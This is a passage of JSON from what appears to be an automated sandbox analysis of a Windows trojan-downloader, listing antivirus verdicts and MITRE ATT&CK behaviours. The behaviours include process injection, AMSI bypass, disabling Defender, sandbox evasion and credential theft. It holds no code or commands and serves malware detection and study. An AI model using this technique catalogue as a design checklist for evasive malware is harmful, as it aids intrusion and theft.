trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader ( 005cddd01 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.Agent.tt2o","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"Trojan-JBNS!53648DEE77C9","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/ABTrojan.SNYJ-7807","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.Agent.JAZ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Downloader.Agent.Win32.621091","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"Trojan.Win64.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Able to write/modify file content (Powershell command string)"},{"type":"informative","value":"Contains ability to receive remote commands (Powershell command string)"},{"type":"informative","value":"Contains ability to run commands (Powershell command string)"},{"type":"informative","value":"Contains ability to run commands from session history (Powershell command string)"},{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"},{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"},{"type":"informative","value":"Executes powershell with commandline"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Contains ability to add modules to the current session (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Able to access control system service controller"},{"type":"informative","value":"Contains reference to multiple windows system processes"},{"type":"informative","value":"Contains ability to start services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Set/modify configurations using PowerShell"},{"type":"informative","value":"Creates/modifies Windows services using PowerShell"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create a new user account (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"},{"type":"suspicious","value":"Uses powershell to execute new process"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Uses powershell with an encoded commandline"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"suspicious","value":"Tries to sleep using powershell"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Able to delete items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Contains ability to delete a property and its value from an item (Powershell command string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Contains ability to terminate services/features (Powershell command string)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Contains ability to detect virtual environment"},{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"The input sample contains the RDTSCP instruction"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"},{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"},{"type":"informative","value":"Contains ability to retrieve credential objects (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Creates file in AppData directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"malicious","value":"Checks for files associated with bitcoin mining software"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"}],"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Attempts to get system information using PowerShell"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads information about supported languages"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"suspicious","value":"Attempts to retrieve geographical location information"},{"type":"informative","value":"Retrieves specified items using PowerShell"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve geographical location 